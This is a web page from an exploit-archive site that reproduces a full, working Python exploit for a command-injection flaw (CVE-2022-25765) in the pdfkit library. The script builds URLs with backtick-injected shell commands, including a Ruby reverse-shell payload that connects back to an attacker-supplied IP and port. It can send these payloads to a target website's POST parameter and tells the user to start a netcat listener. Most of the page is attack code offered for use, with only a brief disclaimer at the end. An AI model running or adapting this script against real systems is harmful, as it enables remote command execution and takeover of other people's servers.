Advertisement






pdfkit v0.8.7.2 Command Injection

CVE Category Price Severity
Author Risk Exploitation Type Date
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2023040033

Below is a copy:

pdfkit v0.8.7.2 Command Injection
#!/usr/bin/env python3
# Exploit Title: pdfkit v0.8.7.2 - Command Injection
# Date: 02/23/2023
# Exploit Author: UNICORD (NicPWNs & Dev-Yeoj)
# Vendor Homepage: https://pdfkit.org/
# Software Link: https://github.com/pdfkit/pdfkit
# Version: 0.0.0-0.8.7.2
# Tested on: pdfkit 0.8.6
# CVE: CVE-202225765
# Source: https://github.com/UNICORDev/exploit-CVE-2022-25765
# Description: The package pdfkit from 0.0.0 are vulnerable to Command Injection where the URL is not properly sanitized.

# Imports
import time
import sys
import requests
from urllib.parse import quote


class color:
    red = '\033[91m'
    gold = '\033[93m'
    blue = '\033[36m'
    green = '\033[92m'
    no = '\033[0m'


# Print UNICORD ASCII Art
def UNICORD_ASCII():
    print(rf"""
{color.red}        _ __,~~~{color.gold}/{color.red}_{color.no}        {color.blue}__  ___  _______________  ___  ___{color.no}
{color.red}    ,~~`( )_( )-\|       {color.blue}/ / / / |/ /  _/ ___/ __ \/ _ \/ _ \{color.no}
{color.red}        |/|  `--.       {color.blue}/ /_/ /    // // /__/ /_/ / , _/ // /{color.no}
{color.green}_V__v___{color.red}!{color.green}_{color.red}!{color.green}__{color.red}!{color.green}_____V____{color.blue}\____/_/|_/___/\___/\____/_/|_/____/{color.green}....{color.no}
    """)


# Print exploit help menu
def help():
    print(r"""UNICORD Exploit for CVE-202225765 (pdfkit) - Command Injection

Usage:
  python3 exploit-CVE-202225765.py -c <command>
  python3 exploit-CVE-202225765.py -s <local-IP> <local-port>
  python3 exploit-CVE-202225765.py -c <command> [-w <http://target.com/index.html> -p <parameter>]
  python3 exploit-CVE-202225765.py -s <local-IP> <local-port> [-w <http://target.com/index.html> -p <parameter>]
  python3 exploit-CVE-202225765.py -h

Options:
  -c    Custom command mode. Provide command to generate custom payload with.
  -s    Reverse shell mode. Provide local IP and port to generate reverse shell payload with.
  -w    URL of website running vulnerable pdfkit. (Optional)
  -p    POST parameter on website running vulnerable pdfkit. (Optional)
  -h    Show this help menu.
""")
    exit()


def loading(spins):

    def spinning_cursor():
        while True:
            for cursor in '|/-\\':
                yield cursor

    spinner = spinning_cursor()
    for _ in range(spins):
        sys.stdout.write(next(spinner))
        sys.stdout.flush()
        time.sleep(0.1)
        sys.stdout.write('\b')


# Run the exploit
def exploit(payload, exploitMode, postArg):

    UNICORD_ASCII()

    print(f"{color.blue}UNICORD: {color.red}Exploit for CVE-202225765 (pdfkit) - Command Injection{color.no}")
    loading(15)
    print(f"{color.blue}OPTIONS: {color.gold}{modes[exploitMode]}{color.no}")
    print(f"{color.blue}PAYLOAD: {color.gold}" + payload + f"{color.no}")

    if "web" in exploitMode:
        if exploitMode == "webcommand":
            print(
                f"{color.blue}WARNING: {color.gold}Wrap custom command in \"quotes\" if it has spaces.{color.no}")
        else:
            print(
                f"{color.blue}LOCALIP: {color.gold}{listenIP}:{listenPort}{color.no}")
            print(
                f"{color.blue}WARNING: {color.gold}Be sure to start a local listener on the above IP and port. \"nc -lnvp {listenPort}\".{color.no}")
        print(f"{color.blue}WEBSITE: {color.gold}{website}{color.no}")
        print(f"{color.blue}POSTARG: {color.gold}{postArg}{color.no}")
        if "http" not in website:
            print(
                f"{color.blue}ERRORED: {color.red}Make sure website has schema! Like \"http://\".{color.no}")
            exit()
        postArg = postArg + "=" + quote(payload, safe="")
        try:
            response = requests.post(website, postArg)
        except:
            print(
                f"{color.blue}ERRORED: {color.red}Couldn't connect to website!{color.no}")
            exit()
        loading(15)
        print(f"{color.blue}EXPLOIT: {color.gold}Payload sent to website!{color.no}")
        loading(15)
        print(f"{color.blue}SUCCESS: {color.green}Exploit performed action.{color.no}")
    elif exploitMode == "command":
        print(f"{color.blue}WARNING: {color.gold}Wrap custom command in \"quotes\" if it has spaces.{color.no}")
        loading(15)
        print(
            f"{color.blue}EXPLOIT: {color.green}Copy the payload above into a PDFKit.new().to_pdf Ruby function or any application running vulnerable pdfkit.{color.no}")
    elif exploitMode == "shell":
        print(f"{color.blue}LOCALIP: {color.gold}{listenIP}:{listenPort}{color.no}")
        print(f"{color.blue}WARNING: {color.gold}Be sure to start a local listener on the above IP and port.{color.no}")
        loading(15)
        print(
            f"{color.blue}EXPLOIT: {color.green}Copy the payload above into a PDFKit.new().to_pdf Ruby function or any application running vulnerable pdfkit.{color.no}")

    exit()


if __name__ == "__main__":

    args = ['-h', '-c', '-s', '-w', '-p']
    modes = {'command': 'Custom Command Mode',
             'shell': 'Reverse Shell Mode',
             'webcommand': 'Custom Command Send to Target Website Mode',
             'webshell': 'Reverse Shell Sent to Target Website Mode'}
    postArg = "url"

    if args[0] in sys.argv:
        help()
    elif args[1] in sys.argv and not args[2] in sys.argv:
        try:
            if sys.argv[sys.argv.index(args[1]) + 1] in args:
                raise
            command = sys.argv[sys.argv.index(args[1]) + 1]
        except:
            print(
                f"{color.blue}ERRORED: {color.red}Provide a custom command! \"-c <command>\"{color.no}")
            exit()
        payload = f"http://%20`{command}`"
        mode = "command"
    elif args[2] in sys.argv and not args[1] in sys.argv:
        try:
            if "-" in sys.argv[sys.argv.index(args[2]) + 1]:
                raise
            listenIP = sys.argv[sys.argv.index(args[2]) + 1]
        except:
            print(
                f"{color.blue}ERRORED: {color.red}Provide a target and port! \"-s <target-IP> <target-port>\"{color.no}")
            exit()
        try:
            if "-" in sys.argv[sys.argv.index(args[2]) + 2]:
                raise
            listenPort = sys.argv[sys.argv.index(args[2]) + 2]
        except:
            print(
                f"{color.blue}ERRORED: {color.red}Provide a target port! \"-t <target-IP> <target-port>\"{color.no}")
            exit()
        payload = f"http://%20`ruby -rsocket -e'spawn(\"sh\",[:in,:out,:err]=>TCPSocket.new(\"{str(listenIP)}\",\"{str(listenPort)}\"))'`"
        mode = "shell"
    else:
        help()

    if args[3] in sys.argv and args[4] in sys.argv:
        try:
            if "-" in sys.argv[sys.argv.index(args[3]) + 1] and len(sys.argv[sys.argv.index(args[3]) + 1]) == 2:
                raise
            website = sys.argv[sys.argv.index(args[3]) + 1]
            mode = "web" + mode
        except:
            print(
                f"{color.blue}ERRORED: {color.red}Provide a target site and post parameter! \"-w <http://target.com/index.html> -p <parameter>\"{color.no}")
            exit()
        try:
            if "-" in sys.argv[sys.argv.index(args[4]) + 1] and len(sys.argv[sys.argv.index(args[4]) + 1]) == 2:
                raise
            postArg = sys.argv[sys.argv.index(args[4]) + 1]
        except:
            print(
                f"{color.blue}ERRORED: {color.red}Provide a target site and post parameter! \"-w <http://target.com/index.html> -p <parameter>\"{color.no}")
            exit()
    elif args[3] in sys.argv or args[4] in sys.argv:
        print(
            f"{color.blue}ERRORED: {color.red}Provide a target site and post parameter! \"-w <http://target.com/index.html> -p <parameter>\"{color.no}")
        exit()

    exploit(payload, mode, postArg)

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum